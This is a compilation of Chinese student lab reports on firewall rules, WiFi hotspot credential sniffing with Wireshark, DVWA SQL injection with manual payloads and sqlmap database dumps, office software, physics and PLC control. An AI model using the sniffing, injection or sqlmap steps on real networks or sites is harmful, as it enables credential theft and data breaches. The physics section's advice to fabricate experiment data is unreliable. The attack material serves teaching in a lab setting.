-A FORWARD -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -m limit --limit 1/sec -j ACCEPT 限制IP碎片,每秒钟只允许100个碎片,用来防止DoS攻击 -A FORWARD -f -m limit --limit 100/sec --limit-burst 100 -j ACCEPT 限制ping包每秒一个,10个后重新开始

-A FORWARD -p icmp -m limit --limit 1/sec --limit-burst 10 -j ACCEPT 限制ICMP包回应请求每秒一个

-A FORWARD -p icmp -m icmp --icmp-type 8 -m limit --limit 1/sec -j ACCEPT 此处自定义一个表

-A FORWARD -j RH-Firewall-1-INPUT 完全接受 loopback interface 的封包 -A RH-Firewall-1-INPUT -i lo -j ACCEPT 允许主机接受 ping -A RH-Firewall-1-INPUT -p icmp -m icmp --icmp-type any -j ACCEPT 允许连线出去后对方主机回应进来的封包

22 -A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 允许防火墙开启指定端口

-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport port -j ACCEPT 限制SSH登陆

只允许在***.***.***.***上使用h远程登录,从其它计算机上禁止使用h iptables -A INPUT -s ***.***.***.*** -p tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP

2) linux 主机防火墙处理数据包的顺序是什么?

答:(1)当包到达端口时,对包报头进行语法分析。大多数包过滤设备只检查IP、TCP、或UDP报头中的字段。

(2)若一条规则阻止包传输或接收,则此包便不被允许。

(3)若一条规则允许包传输或接收,则此包便可以被继续处理。 (4)若包不满足任何一条规则,则此包便被阻塞。

23

实验三WIFI 钓鱼

步骤一 共享WIFI 工具:电脑、WIN7 系统、无线网卡

步骤

1.开始菜单-->命令提示符(cmd)-->右键,以管理员身份运行 2.运行以下命令启用虚拟网卡

>netsh wlan set hostednetwork mode=allow id=(这里写无线网名字) key=(这里是密码)

3.网络共享中心-->更改高级适配器设置-->右键已连接到Internet 的网络连接-->属性-->切换 到“共享”选项卡,选中其中的复选框,并选择允许其共享Internet 的网络连接,这里即我 们的虚拟WIFI 网卡

4.开启无线网络,继续在命令提示符中运行以下命令: >netsh wlan start hostednetwork 24 即可开启我们之前设置好的无线网络(相当于打开路由器的无线功能)

步骤二 WIFI 钓鱼

工具:其他笔记本或手机、Wareshark 步骤

1.搜索到刚刚设置的WIFI,连接上(密码为刚刚设置的key:12345679)

2.在笔记本上打开wareshark,选择capture-->interfaces

25 3.选择Packets 最多的项,点击start 按钮

4.在手机或笔记本上打开中南大学邮箱网站:http://mail.csu.edu.cn/,在主机上用wareshark 捕捉

http 的包

(这里大家可以自由实验,能监控到连接到该WIFI 的机器的所有包的情况) 5.在手机或笔记本上输入用户名和密码,点击登录

26

6.在主机上用wareshark 捕捉到刚刚post 提交的http 包,右键选择Follow tcp stream

7.可以看到刚刚提交的用户名和密码,且是未经过加密的

27

实验截图

如上所示,重要的步骤截图已置于相应步骤下。

实验心得

本次实验是在自己的笔记本上做的,实验也比较简单,所以做得比较快效果比较好。通过本次实验,大致了解了WIFI钓鱼的操作过程,同时,也让自己有了警觉之心,要养成良好的WIFI使用习惯。手机会把使用过的WIFI热点都记录下来,如果WiFi开关处于打开状态,手机就会不断向周边进行搜寻,一旦遇到同名的热点就会自动进行连接,存在被钓鱼风险。因此当我们进入公共区域后,尽量不要打开WIFI开关,或者把WiFi调成锁屏后不再自动连接,避免在自己不知道的情况下连接上恶意WIFI。

28

实验四 SQL注入攻击

【实验目的】

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。

本次实验目的是了解sql注入的常见手段,要到两个工具:

①dvwa(Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

② sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

【实验组网拓扑】

VM Client

VM Server

【实验一:dvwa手动sql注入】

1、连接好虚拟机拓扑图,配置WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。

2、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为paword。

29

3、选择SQLInjection,点击右下角的ViewSource,查看PHP源代码。

30

4、正常测试,输入“1”,得到正常结果,如下所示。

5、当将输入变为“\'”时,页面提示错误“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear\'\'\'\'\'atline1”,结果如图。看到这个结果,可以知道,这个表单存在着注入漏洞。

6、尝试输入:“1’or 1=1–”注意“--”后面有空格!此时成功进行sql注入。

31

7、测试查询信息列数。利用语句order by num。这里输入\" 1\'order by 1 --\" 结果页面正常显示,注意--后面有空格。继续测试,\" 1\'order by 2 --\",\" 1\'order by 3 --\",当输入3是,页面报错。页面错误信息如下,Unknown column \'3\' in \'order clause\',由此查询结果值为2列。

8、尝试注入“1\' and 1=2 union select 1,2 --”,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:“1\' and 1=2 union select user(),database() --”。

32

9、选择DVWA Security,将安全级别分别设置为中、高。再运行上面的实验sql语句,结合右下角的ViewSource,分析三种等级的代码和sql注入效果有何区别。在安全级别分别设置为低时,结合PHP源代码,考虑不采用“--”的情形下,完成sql注入,写出sql注入语句。

【实验二:sqlmap测试dvwa】

1、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“169.254.180.158/dvwa”,登陆账户为admin,密码为paword。选择DVWA Security,将安全级别分别设置为低。

2、选择XSS reflected,输入“alert(document.cookie)”,获取登陆系统后的cookie值,截图保存cookie值。

3、使用sqlmap查找注入点,打开Client端的控制台窗口,转到目录“C:\\Python27\\sqlmap”,输入以下命令,注意!“169.254.180.158”表示Server的IP,“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”表示上一步所获得的cookie值,请同学们按照实际环境 33 填写相应的值!“sqlmap.py -u \"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5\"”。

依据以下信息,得到可能的注入点是id,数据库是mysql。

[INFO] heuristic (basic) test shows that GET parameter \'id\' might be injectable (poible DBMS: \'MySQL\') [INFO] GET parameter \'id\' is \'MySQL UNION query (NULL) -1 to 20 columns\' injectable

4、输入“sqlmap.py -u \"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5\" --current-db”得到当前数据库名。

current database: \'dvwa\'

5、输入“sqlmap.py -u \"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5\" --current-db --tables -Ddvwa”得到数据库所有表。

6、输入“sqlmap.py -u \"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5\" -T users --columns”得到user表的所有列。

34

7、输入“sqlmap.py -u \"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5\" -T users --dump”得到user表的所有列,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码。此时就完成了利用sqlmap进行“拖库”的基本步骤。

实验截图

如上所示,重要的步骤截图已置于相应步骤下。

实验心得

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

此次的实验让我了解了SQL注入攻击的原理和过程,让我了解到了做这方面开发的时候需要注意的安全性问题,也意识到安全的重要性和数据库的一些欠缺,提高了自己在这方面的安全意识。在实验的过程中遇到了很多困难,配置上的,环境上的,还有一些需要注意的小问题。很高兴顺利完成了这次实验,期待下次能使用更高级的工具进行扫描和实施攻击,当然,以后的开发过程中也要特别注意这些脆弱点了。

35

推荐第3篇:大学认识实习实验报告

**大学**学院认识实习日志

姓名:专业: 学号:

注:根据实习内容进行如实记载。

**大学**学院认识实习实验报告

一、实习目的、要求:

通过学习网络基本配置方法、图片处理软件Fireworks、Photoshop、动画制作软件Flash、网页制作软件Dreamweaver等的使用,并掌握动态网页Asp技术,在将来的学习,工作中能够应用这些知识为自己增分,并能够让学生形成一种意识,那就是在信息时代的今天,每个专业特别是我们行政管理专业的学生,掌握相关办公软件的使用对于将来的工作是重要而且是必要的,不仅如此,在网站制作的过程当中,也要求我们发挥聪明才智,利用自己的知识,见解制作与众不同的网站,并在其中得以开阔自己的视野。

二、实习时间(从实习动员开始到实习总结)、地点:

2009年6月15—7月3日即2008-2009学年第2学期第十八周至第二十周(共三周)周一至周五每天8:20—11:30在**学院电子政务实验室开始本次的电子政务实习。其中由**老师做的实习动员在管理学课下进行,最后一段时间由于我们要进行期末考试,所以实习总结留待每个学生回家完成,在下个学期开学上交给老师。

三、实习内容:

1、掌握局域网、办公网络的基本配置方法,掌握常见上网的配置方法,理解ip地址的分类,并掌握在ip地址和域名等在实际中的应用方法。(第十八周周一8:20--周一11:30)

2、掌握常用图片文件格式,学会Fireworks

8、Photoshop图片处理软件的使用,能按照自己的需要处理一般的图片文件;(第十八周周二8:20--周三11:30)

3、掌握动画制作基本概念,学会Flash 8动画制作软件的使用,能制作一般的动画,并学会从网上获取制作动画的资源,为后面综合网站制作打下基础;(第十八周周四8:20—第十九周周一11:30)

4、学习html的基本知识,并掌握Dreamweaver 8软件的基本操作,学会网页设计的基本方法,为后面综合实习打下基础;(第十九周周二8:20--第十九周周四11:30)

5、掌握动态asp网页制作的基本知识,学会利用asp建立动态网页的基本方法,掌握网站发布的方法;(第十九周周五8:20—二十周周一11:30)

6、制作一个**大学XXXX班的班级网站(或个人网站等),要求综合利用前面学习的图片处理Fireworks、动画制作Flash、网页设计软件Dreamweaver、html和asp技术,网站要有后台管理界面,能动态添加新闻,网站规划设计合理、美观。(第二十周周二8:20--周五11:30 )

四、实习总结和心得:

本次电子政务实习,虽然只有短短的三周时间,但是却很充实,学到的东西也很实用,真是获益良多。

首先,让我感受很深的是老师勤勤恳恳认认真真的教学态度,我们是两个班级一起上课,每一节课老师都做了充分的准备,包括网上寻找的案例,讲座,视频,word文档等等都准备得很到位,课上讲解很仔细,解答也很耐心,会给我们一遍一遍的演示操作,当我们很多人不理解的时候,又会毫不耐烦的又重新讲课。最后做网站的时候,由于是初次接触,出现了很多各种各样的问题,老师也会给我们找出错误的原因,帮助我们改正,使我们的网站更具美观特色。很庆幸有这样以为好老师来给我们讲课,他的教学态度也让我受益匪浅。

其次,是实习的内容让我很感兴趣,图片处理软件Photoshop、动画制作软件Flash是以前就听说过的,一直想学习这些软件的操作,因为我觉得这些软件很有用,平时需要处理图片的时候就很深刻的感受到使用其他的软件而不是使用PS就觉得总是不那么完美,PS给我的印象也是神秘诱人。试过自己下载这个软件,但是操作起来不是得心应手,现在有了老师的指导,以前的一些不明白也变得明朗,也懂得了一些简单的操作,可以制作,合成一些秀美的图片,相信会在不久的将来得到很好的应用。对于Flash网上看了很多,觉得学会做Flash很了不起,特别是当一个人可以把他内心构想的一个故事,一个情节,或者就是一首歌,用flash的形式展现出来,让我们看到活灵活现的人,或者生动的画面,让我们欣赏的不仅是艺术的美,更是人创造的美。在学习flash软件的使用的那几天我特别用心,上课认真的听讲,下课请教学会的同学,跟着老师的步骤踏踏实实的学好基本功,从最基础的动画制作开始。现在,我已经学会的基本的操作,但是我知道,要能够制作一个完整的美观的动人的flash动画还有很长的路要走,还要花很多的功夫,所谓“师傅领进门,修行在个人”, 我会继续努力,不会白学的。我梦想着有一天自己可以做出一个声色俱全的flash动画,把内心的想法变成一幅幅动人的画面。

再次,我想说下实习期间我的感受。学习期间,总觉得有点困难,一些东西总是接受不了,总是老师讲课的时候是听懂了,也会做了,觉得就是挺简单的,但是当自己动手做的时候,往往忘记了其中的一些步骤,那些认为简单的也变得很难以克服。从中我也明白了,老师讲的时候我应该要做下笔记,正因为我没有做笔记,才把其中的一些步骤漏掉。人有时不能太自信于自己的记忆,必须依靠辅助的工具。人有些记忆不可能一直保存,但是笔记却可以,所以,笔记很重要。特别是当我们对于一些不是很经常使用到的软件的用法时,一些简单步骤的方法用笔记下来,有助于以后的使用。

我感受最深的是自己制作完成一个网站,这让我认识到:无论什么事情都应该是这样的,只有你去尝试过了,为之努力过了,才会明白其中的艰辛,那样子你的收获才是最多的,认识才是最深刻的。当老师说我们要以小组的形式合作建立一个网站的时候,我觉得自己根本还是能力不够,我问自己:就学了这么点知识,足够建立一个网站了吗?而且,对于老师所教的东西,自己并没有全部把握。但是,我还是决定尝试,因为不仅有我,还是我们整个小组一起努力。首先我们确定网页的主题是班级的网站,因为我们以前曾做过很多班上的视频,还有挺多班上的照片,只要把其中需要的部分选出来,素材就算准备好了。确定主题之后,我们先做了一个主页的模版,然后开始构思应该要加哪些东西在主页,网页分为几个部分,每个部分又包括什么内容,分工如何,就这些我们就讨论了好久,最后决定从实际出发,考虑我们要表达的主要内容,符合班级网站的主题,把网页分为主页,班级管理,班级简介,班级相册,小组成员这几个部分。其中

主页显示的是“成长纪念册——我们的空间”,可以连接到每个同学的qq空间;还有我们政治学与行政学专业的简介和班级的视频。班级管理放了班级的规章制度;班级简介则包括my love ,my song, my cla;班级相册里包括我们班许多活动的照片,还有几个视频;小组成员则是我们小组几个人的一个简单视频相册。

班级简介这一部分主要是由我来完成的。我想了好久应该加什么东西在班级简介上才能体现我们的特色!在征求大家的建议和意见之后,决定班级简介分为my love ,my song, my cla三个部分,其中my love和my cla两部分的文字都是由我自己亲手写的,还花了许多的心思上网找寻了符合风格的图片,制作了漂亮的文字动画;my song即为我们的班歌。班级简介这一部分不仅用到了ps的知识,还用了一个新的软件“美图秀秀”以增加图片的动画效果。当把链接做好,一按连接就可以出现一幅幅动人的图画时,我的心里真是感到安慰,那个时候我觉得自己好有成就感!其他的几部分就按照分工有其他成员完成。

最后,我还参与了制作主页。一般人都是先制作好主页再开始其他网页的制作,我们则是相反的。主页部分我主要是负责添加“成长纪念册——我们的空间”这一部分。当最后把全部的连接做好,重新打开我们的网站,我看到的是一个声色俱全,图情并茂,充满诗情画意,又不失活泼亮丽的网站,第一个感觉是,这是我做出来的网站吗?第二个感觉是,这真的是我做出来的网站!虽然花了很多的心思,但是总算是有了收获,也让自己充实,满足,那时心里别提多高兴了!

把班级网站交给老师,我们的实习也到了尾声。可能对于不同的人来说会有不同的收获,也许有的人会一无所获,但是对于我来说,我有收获,不仅是知识的充实,也是人生的充实,更是心灵的充实。我努力过,并体验到了努力之中辛苦与快乐,努力之后的满足和笑容,这是大学生活学习中一篇优美的乐章,是我以后工作学习的一个知识经验加油站,我会好好珍藏!

推荐第4篇:大学计算机实验报告一

大学计算机实验报告一

长文档的组织、编辑与排版

名: 学

号: 专

业: 年

级: 指导教师:

日1 实验目的

学会长文档的组织、编辑、排版,能够解决实际生活、工作和学习中的问题,具有实际意义。

2 实验内容

完成一篇论文的组织、编辑与排版。

3 实验总体要求

内容自选,忽略其主题和学术性。组织长文档的方式和途径、编辑和排版的相关格式参见所给格式。

4 实验包含的知识点

(1)文档的创建、保存、关闭及文本的输入 (2)查找和替换 (3)文本格式的设置

(4)文本与段落边框底纹的设置 (5)页面设置

(6)项目符号和编号的使用 (7)分栏

(8)图片、文本框和艺术字的插入与编辑 (9)绘制图形

(10)公式的编辑与修改

(11)建立表格并对表格进行编辑和格式化设置 (12)插入分隔符和页码 (13)创建和编辑页眉和页脚 (14)样式的使用

1 (15)标注参考文献 (16)生成目录

5实验总结

这里介绍一下自己做这个实验的心得体会。

6附你已制作好的长文档(电子版) 7得分

推荐第5篇:大学一年级 MicrosoftPowerPoint 实验报告

天津理工大学信息工程系信管专业计算机实践论文

天津理工大学

课程设计报告

课程设计题目:

学生学号:07322100

学生姓名:某某某

业:信息管理与信息系统 指导教师:

2008年6 月26 日

天津理工大学信息工程系信管专业计算机实践论文

概 述

PowerPoint(PPT)是当今流行的电子文稿演示和制作软件,具有制作速度块,兼容性好等优点,PowerPoint(PPT)已作为了当今学校,科研场所,公司团体必备和必须掌握的软件之一。作为大学生的我们,PowerPoint(PPT)不仅是我们将来就业需求需要掌握的软件,也是全国计算机等级考试中的考试内容之一。在本次实验中,我选择了PowerPoint(PPT)中第二个作为论文课题。

天津理工大学信息工程系信管专业计算机实践论文

一、实验目的—————————————————————4

二、上机操作步骤———————————————————4

三、上机实验结果截图—————————————————5

四、经验总结—————————————————————7 天津理工大学信息工程系信管专业计算机实践论文

一、实验目的

通过本次上机操作实验,力求掌握PPT中自定义动画的使用,链接的使用,对PPT中层的理解,图片的融合等内容,力求做出精美的幻灯片取悦受众。

二、上机操作步骤

1.启动 PowerPoint ,打开演示文稿5-1;

2.将演示文稿5-2添加至演示文稿 5-1 中,并置于 5-1 的幻灯片之后; 3.在第一张幻灯片中删除主标题栏,另复制一份副标题栏,并在第一张幻灯片中插入图片5-

3、图片5-4。在两个副标题栏中分别输入“季节”“动物”字体分均为黄色,华文行楷。

4.第二张幻灯片主标题拦住写入文字“鸟瞰”,单击主标题栏边缘点击鼠标右键,选择“自定义动画”选项,在右侧栏中单击“添加效果”按钮,添加“溶解” 效果。

5.在“冬”所在的幻灯片中插入图片5-4,在“冬”所在幻灯片中插入文本框并输入文字“返回”18 号字,加粗,淡蓝色,华文行楷;在“冬”所在幻灯片中插入文本框并输入文字 \" 返回 \" , 18 号字,加粗,淡蓝色,华文行楷; 6.分别将幻灯片一中的“季节”“动物”分别拖到图片5-

3、图片5-4中央,分别按住Shift键选择图片5-

3、“季节”,单击鼠标右键选择“组合”选项。图片5-

4、“动物”类似处理。

7.在第一张幻灯片中选择“季节”按钮,单击右键选择“超链接”,链接到幻灯片三;在第一张图片中选择“动物”按钮,单击右键选择“超链接”,链接到幻灯片七。在第六张幻灯片中选择返回“按钮”单击鼠标右键选择“超链接”,链接到幻灯片一。

8.将“冬”所在幻灯片中的按钮及文本框复制到最后一张幻灯片;9.播放幻灯片,并单击幻灯片中的各链接按钮,观察播放效果。

天津理工大学信息工程系信管专业计算机实践论文

三、上机实验结果截图

幻灯片一

幻灯片六

天津理工大学信息工程系信管专业计算机实践论文

幻灯片九

天津理工大学信息工程系信管专业计算机实践论文

四、经验总结

充分利用超链接功能可以快速进行不同幻灯片之间的转换;利用图层对象组合功能可以制作具有文字的立体质感强烈的按钮,增加PPT美观性。这次PowerPoint(PPT)上机实验让我们不仅锻炼了实际操作能力,也让我们懂得软件和文件制作中也要充分考虑美观性,以及做系统性的文件需要有事先准备好的逻辑构思。感谢老师

在这次上机实验中给与我们的亲切关怀和指导。

推荐第6篇:大学计算机基础实验报告

《大学计算机基础》实验报告

学号:姓名:班级:

任课教师:

一、实验内容:

二、实验要求:

三、实验过程(说明详细步骤,可以截图说明):

四、问题与总结:(总结实验进行情况,并列出实验时遇到的问题,供任课教师参考。

推荐第7篇:大学普通物理实验报告

大学普通物理实验报告模板

该有试验报告纸和试验预习报告纸。有的话照着填。没有的话这样: 预习报告:

1.试验目的。(这个大学物理试验书上抄,哪个试验就抄哪个)。

2。实验仪器。照着书上抄。

3.重要物理量和公式:把书上的公式抄了:一般情况下是抄结论性的公式。再对这个公式上的物理量进行分析,说明这些物理量都是什么东东。这是没有充分预习的做法,如果你充分地看懂了要做的试验,你就把整个试验里涉及的物理量写上,再分析。

4.试验内容和步骤。抄书上。差不多抄半面多就可以了。

5.试验数据。做完试验后的记录。这些数据最好用三线图画。注意标上表号和表名。EG:表1.紫铜环内外径和高的试验数据。

6.试验现象.随便写点。

试验报告:

1.试验目的。方法同上。

2.试验原理。把书上的归纳一下,抄!差不多半面纸。在原理的后面把试验仪器写上。

3。试验数据及其处理。书上有模板。照着做。一般情况是求平均值,标准偏差那些。书上有。注意:小数点的位数一定要正确。

4.试验结果:把上面处理好的数据处理的结果写出来。

5.讨论。如果那个试验的后面有思考题就把思考提回答了。如果没有就自己想,写点总结性的话。或者书上抄一两句比较具有代表性的句子。

实验报告大部分是抄的。建议你找你们学长学姐借他们当年的实验报告。还有,如果试验数据不好,就自己捏造。尤其是看到坏值,什么都别想,直接当没有那个数据过,仿着其他的数据写一个。

不知道。建议还是借学长学姐的比较好,网络上的不一定可以得高分。每个老师对报告的要求不一样,要照老师的习惯写报告。我现在还记得我第一次做迈克尔逊干涉仪实验时我虽然用心听讲,但是再我做时候却极为不顺利,因为我调节仪器时怎么也调不出干涉条纹,转动微调手轮也不怎么会用,最后调出干涉条纹了却掌握不了干涉条纹“涌出”或“陷入个数、速度与调节微调手轮的关系。测量钠光双线波长差时也出现了类似的问题,实验仪器用的非常不熟悉,这一切都给我做实验带来了极大的不方便,当我回去做实验报告的时候又发现实验的误差偏大,可庆幸的是计算还顺利。总而言之,第一个实验我做的是不成功,但是我从中总结了实验的不足之处,吸取了很大的教训。因此我从做第二个实验起,就在实验前做了大量的实验准备,比如说,上网做提前预习、认真写好预习报告弄懂实验原理等。因此我从做第二个实验起就在各个方面有了很大的进步,实验仪器的使用也熟悉多了,实验仪器的读数也更加精确了,仪器的调节也更加的符合实验的要求。就拿夫-赫实验/双光栅微振实验来说,我能够熟练调节ZKY-FH-2智能夫兰克—赫兹实验仪达到实验的目的和测得所需的实验数据,并且在实验后顺利地处理了数据和精确地画出了实验所要求的实验曲线。在实验后也做了很好的总结和个人体会,与此同时我也学会了列表法、图解法、函数表示法等实验数据处理方法,大大提高了我的实验能力和独立设计实验以及创造性地改进实验的能力等等。

下面我就谈一下我在做实验时的一些技巧与方法。首先,做实验要用科学认

真的态度去对待实验,认真提前预习,做好实验预习报告;第二,上课时认真听老师做预习指导和讲解,把老师特别提醒会出错的地方写下来,做实验时切勿出错;第三,做实验时按步骤进行,切不可一步到位,太心急。并且一些小节之处要特别小心,若不会,可以跟其他同学一起探讨一下,把问题解决。第四,实验后数据处理一定要独立完成,莫抄其他同学的,否则,做实验就没有什么意义了,也就不会有什么收获。

总而言之,大学物理实验具有非常重要的意义。首先,物理概念的建立、物理规律的发现依赖于物理实验,是以实验为基础的,物理学作为一门科学的地位是由物理实验予以确立的;其次,已有的物理定律、物理假说、物理理论必须接受实验的检验,如果正确就予以确定,如果不正确就予以否定,如果不完全正确就予以修正。例如,爱因斯坦通过分析光电效应现象提出了光量子;伽利略用新发明的望远镜观察到木星有四个卫星后,否定了地心说;杨氏双缝干涉实验证实了光的波动假说的正确性。可以说,物理学的每一次进步都离不开实验。这对我们大学生来说也是非常重要的,尤其是对将来所从事的实际工作所需要具备的独立工作能力和创新能力等素质来讲,也是十分必要的,这是大学物理理论课不能做到,也不能取代的。

推荐第8篇:海南大学plc实验报告

电气控制及可编程序控制器技术

实验一

电机正反转控制

一、实验目的

1. 学习和掌握PLC的实际操作和使用方法 ;

2. 学习和掌握PLC控制三相异步电动机正反转的硬件电路设计方法;

3. 学习和掌握PLC控制三相异步电动机正反转的程序设计方法;

4. 学习和掌握PLC控制系统的现场接线与软硬件调试方法。

二、实验设备

主机模块,电源模板,电机正反转控制实验板,开关、按钮板,连接导线一套。

三、实验原理

三相异步电动机定子三相绕组接入三相交流电,产生旋转磁场,旋转磁场切割转子绕组产生感应电流和电磁力,在感应电流和电磁力的共同作用下,转子随着旋转磁场的旋转方向转动。因此转子的旋转方向是通过改变定子旋转磁场旋转的方向来实现的,而旋转磁场的旋转方向只需改变三相定子绕组任意两相的电源相序就可实现。

四、控制要求

1、初始状态

接触器KM

1、KM2都处于断开状态,电机M1处于停止状态。

2、启动操作 (1) 正转控制

按下电机正转按钮SB2,KM1闭合,电机M1正转;按下按钮SB1,电机停止运行。 (2) 反转控制

按下电机反转按钮SB4,KM2闭合,电机M1反转;按下按钮SB1,电机停止运行。 (3) 正反转切换控制

当电机正转时,按下按钮SB4,KM1断电,KM2闭合,电机M1反转。

当电机反转时,按下按钮SB2,KM2断电,KM1闭合,电机M1正转。

3、停止操作

按下停止按钮SB1,电机M1无论在何种状态电机都将停止运行。

4、过载保护 当电机过载时(按下按钮FR1),电机停止运行。

五、输入输出分配

1、输入

SB1——X001(停止按钮) SB2——X002(电机M1正转按钮) SB4——X004(电机M1反转按钮) FR1——X005(热继电器保护)

2、输出

KM1——Y001(电机正转接触器) KM2——Y002(电机反转接触器)

X001Y001KM1 SB1X002Y002KM2 SB2SB3X004 X005 FRCOMCOM AC

六、实验程序 1.梯形图程序

2.指令表程序

实验二

电机星形起动三角运行

(TVT90HC-1)

一、实验目的

1.学习和掌握PLC的实际操作和使用方法 ;

2.学习和掌握PLC控制三相异步电动机星形起动三角运行的硬件电路设计方法;

3.学习和掌握PLC控制三相异步电动机星形起动三角运行的程序设计方法;

4.学习和掌握PLC控制系统的现场接线与软硬件调试方法。

二、实验设备

主机模块,电源模板,电机星形起动三角运行实验板,开关、按钮板,连接导线一套。

三、实验原理

对于正常运行的定子绕组为三角形接法的鼠笼式异步电动机来说,如果在启动时将定子绕组接成星形,待起动完毕后再接成三角形,就可以降低启动电流, 减轻它对电网的冲击,这样的起动方式称为星三角减压启动,或简称为星三角启动(Y-Δ启动)。星三角起动法适用于正常运行时绕组为三角形联接的的电动机,电动机的三相绕组的六个出线端都要引出,并接到转换开关上。起动时, 将正常运行时三角形接法的定子绕组改接为星形联接,起动结束后再换为三角形连接。

四、控制要求

1、初始状态

接触器KM

3、KMY、KMΔ都处于断电状态,电机M2处于停止状态。

2、启动操作

按下启动按钮SB2,接触器KM

3、KMY闭合,电机M2接成星型连接,实现降压启动,3秒钟后KMY断开、KMΔ闭合,电机接成三角型连接,投入正常运行。

3、运行过程中发生过载(按下按钮FR2)或按下停止按钮SB1时,无论电机处于何种状态都将停止运行,其它设备恢复初始状态。

五、输入输出分配

1、输入 SB1——X001(停止按钮) SB2——X002(启动按钮) FR2——X003(热继电器保护)

2、输出

KM3——Y001 (电机星型连接接触器) KMY——Y002(电机角型连接接触器) KMΔ——Y003

SB1X001Y001KM3 SB2X002Y002KMY X003Y003KMFR COMCOM

AC

六、实验程序 1.梯形图程序

2.指令表程序

实验三

天塔之光(发射型闪烁)

(TVT90HC-2)

一、实验目的

1.用PLC构成灯光闪烁控制系统;

2.熟悉掌握日本三菱公司PLC的硬、软件功能和性能后,练习PLC的实用接线;3.学习和掌握三菱PLC控制系统的现场接线与软硬件调试方法。

二、实验设备

主机模块,电源模板,天塔之光实验板,开关、按钮板,连接导线一套。

三、实验原理

本次毕业设计是应用三菱PLC天塔之光设计的硬件电路,并利用梯形图控制程序设计。通过控制定时继电器的功能来实现各彩灯按一定的规律点亮和熄灭。接通延迟定时器SD的特点(如果RLO有正跳沿,则接通延迟定时器启动指令,以设定的时间值启动指令的定时器)。这种控制电路结构简单,可靠性高,应用性强;软件程序适应范围广,对各彩灯按一定的规律点亮和熄灭的控制,只需要改变相应的定时器的时间接通即可。

四、控制要求

1、初始状态

灯塔上的各个灯均为熄灭状态。

2、启动操作

按下启动按钮SB1,L1亮,1s后灭;接着L2,L3,L4,L5亮,1s后灭;随之L6,L7,L8,L9亮,1s后灭;如此循环。

3、停止操作

按下停止按钮SB2,灯塔上的各个灯全部熄灭。

五、输入输出分配

1、输入

启动按钮--X000 停止按钮--X001

2、输出 L1--Y001 L2--Y002 L3--Y003 L4--Y004 L5--Y005 L6--Y006 L7--Y007 L8--Y010 L9--Y011

3、灯的布局

单个小绿灯为L1;黄灯从左至右为L

2、L

3、L

4、L5;红灯从左至右为L

6、L

7、L

8、L9。

六、实验程序 1.梯形图程序

COMSB1SB2FRX001X002X003Y001Y002Y003Y004Y005Y006Y007Y010Y011COM L1L2L3L4L5L6L7L8L9 2.指令表程序

实验四

交通灯自控与手控

(TVT90HC-3)

一、实验目的

1.用PLC构成交通灯自控与手控控制系统;

2.熟悉掌握日本三菱公司PLC的硬、软件功能和性能后,练习PLC的实用接线;3.学习和掌握三菱PLC控制系统的现场接线与软硬件调试方法。

二、实验设备

主机模块,电源模板,交通灯自控与手控实验板,开关、按钮板,连接导线一套。

三、控制要求

1、初始状态

东西、南北两路交通灯及人行道交通灯都处于关闭状态,路面交通灯数码显示区显示00。

2、操作顺序

当按下“开始”按钮,交通灯开始工作。首先东西向绿灯亮4秒后闪2秒,然后东西向黄灯亮3秒,接着东西向红灯亮9秒,同时在数码显示区用倒计时方式显示东西向指示灯的剩余时间。与东西向交通灯对应的是南北向红灯亮9秒后,然后南北向绿灯亮4秒闪2秒,接着南北向黄灯亮3秒,在此过程中南北路交通灯无对应的数码显示。在此运行过程中人行道指示灯L1红灯亮表示禁止行人通过。

当按下人行道通行按钮“S1”,此时东西向、南北向交通灯均显示出红灯亮,表示十字路口的车辆都禁止通过。与此同时人行道红灯L1灭,绿灯L2亮表示行人可以通过此路口,时间为10秒钟,同时数码显示当前人行道的剩余时间,当时间为零后立即返回到原来的路口状况,交通灯接着正常运行。

3、停止操作

当按下“停止”按钮交通灯都停止运行。数码显示牌显示00。

四、输入输出分配

1、输入

